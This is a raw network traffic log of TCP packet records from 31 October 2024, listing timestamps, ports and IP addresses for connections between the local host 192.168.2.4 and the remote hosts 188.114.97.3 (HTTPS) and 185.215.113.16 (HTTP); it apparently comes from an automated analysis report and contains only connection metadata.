Oct 31, 2024 04:14:56.934561968 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:56.934561968 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:56.934602022 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:56.934629917 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:56.978609085 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:56.978651047 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:56.978744030 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:56.979011059 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:56.979022980 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:57.577477932 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:57.577559948 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:57.578630924 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:57.578639984 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:57.578850985 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:57.579962015 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:57.579982042 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:57.580024958 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.017286062 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.017880917 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.017909050 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.017936945 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.017961025 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.018006086 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.018548012 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.018593073 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.018637896 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.018646002 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.019633055 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.019659042 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.019676924 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.019681931 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.022509098 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.022515059 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.063644886 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.132586956 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.132796049 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.132946968 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.132966995 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.133292913 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.133476019 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.133625984 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.133639097 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.133650064 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.133654118 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.241660118 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.241746902 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.241866112 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.242136002 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.242173910 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.869513035 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.869606972 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.870868921 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.870892048 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.871138096 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.872232914 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.872400045 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.872447968 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:58.872543097 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:58.872560024 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:59.489178896 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:59.489257097 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:59.489418983 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:59.491873980 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:59.491914988 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:59.631815910 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:59.631855965 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:59.631983042 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:59.632376909 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:59.632391930 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:00.446598053 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:00.446701050 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:00.448405981 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:00.448416948 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:00.448653936 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:00.450023890 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:00.450166941 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:00.450196028 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:01.019556046 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:01.019639969 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:01.019700050 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:01.019877911 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:01.019891977 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:01.230293989 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:01.230367899 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:01.230499983 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:01.230849981 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:01.230890989 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:01.840267897 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:01.840353012 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:01.858449936 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:01.858494043 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:01.858715057 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:01.859666109 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:01.859801054 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:01.859838009 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:01.859906912 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:01.859925032 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:02.558037996 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:02.558135033 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:02.558193922 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:02.558295012 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:02.558331013 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:03.026119947 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:03.026155949 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:03.026227951 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:03.026494026 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:03.026506901 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:03.657426119 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:03.657597065 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:03.658612013 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:03.658622980 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:03.658850908 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:03.660123110 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:03.660239935 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:03.660243988 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:03.978764057 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:03.978851080 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:03.978910923 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:03.979000092 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:03.979017019 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:04.393359900 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:04.393435955 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:04.393533945 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:04.393817902 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:04.393852949 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.011275053 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.011365891 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.015233040 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.015244961 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.015484095 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.059952974 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.064413071 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.064460993 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.064632893 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.064686060 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.064831018 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.064882994 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.065063000 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.065102100 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.065306902 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.065347910 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.065583944 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.065628052 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.065649986 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.065866947 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.065912008 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.078716040 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.078948975 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.078983068 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.079003096 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.079021931 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.079132080 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.079171896 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.079196930 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.079226971 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.079286098 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:05.079291105 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:05.079328060 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:08.440901995 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:08.441005945 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:08.441196918 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:08.441338062 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:08.441359043 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:08.474191904 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:08.474224091 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:08.474297047 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:08.474555969 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:08.474570036 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:09.084569931 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:09.084681988 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:09.085933924 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:09.085958004 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:09.086215973 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:09.087506056 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:09.087507010 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:09.087594032 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:09.540158033 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:09.540261984 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:09.540333986 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:09.540472984 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:09.540518999 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:09.540549040 CET	49737	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:15:09.540565014 CET	443	49737	188.114.97.3	192.168.2.4
Oct 31, 2024 04:15:09.541573048 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:09.547224998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:09.547300100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:09.547492027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:09.552246094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.787050962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.787071943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.787133932 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.787182093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.787266970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.787278891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.787319899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.787420034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.787437916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.787448883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.787461996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.787468910 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.787508965 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.787730932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.787781000 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.791999102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.792047977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.792098045 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.967137098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.967346907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.967355967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.967403889 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.967431068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.967441082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.967456102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.967464924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.967485905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.967519045 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.967971087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.968019962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.968044043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.968055010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.968090057 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.968226910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.968238115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.968307018 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.968902111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.968913078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.968921900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.968950987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.969382048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.969430923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.969455957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.969466925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.969496965 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.969623089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.969631910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.969696999 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.970278978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.970886946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:10.970937967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:10.972259045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.016797066 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.099039078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.099328041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.099390984 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.135461092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.135473013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.135515928 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.135571957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.135588884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.135598898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.135610104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.135620117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.135623932 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.135629892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.135641098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.135652065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.135662079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.135665894 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.135674953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.135691881 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.135727882 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.136167049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.136373997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.136384010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.136394024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.136401892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.136425018 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.136461020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.136523008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.136533022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.136576891 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.137151003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.137192011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.137340069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.137350082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.137382030 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.137478113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.137487888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.137496948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.137507915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.137520075 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.137551069 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.138228893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.138237953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.138247013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.138278008 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.138360977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.138406992 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.138572931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.138582945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.138592958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.138617039 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.139322996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.139336109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.139345884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.139355898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.139367104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.139374018 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.139426947 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.139453888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.139465094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.139506102 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.139785051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.140067101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.140079021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.140105009 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.188785076 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.256045103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.256285906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.256407022 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.317120075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.317229033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.317240953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.317341089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.317363977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.317375898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.317423105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.317672014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.317683935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.317802906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.317814112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.317822933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.317833900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.317857981 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.317970037 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.318058968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.318149090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.318186045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.318197012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.318281889 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.318312883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.318459988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.318473101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.318481922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.318507910 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.318629980 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:11.318721056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.318731070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.318850994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:11.318861961 CET	80	49738	185.215.113.16	192.168.2.4
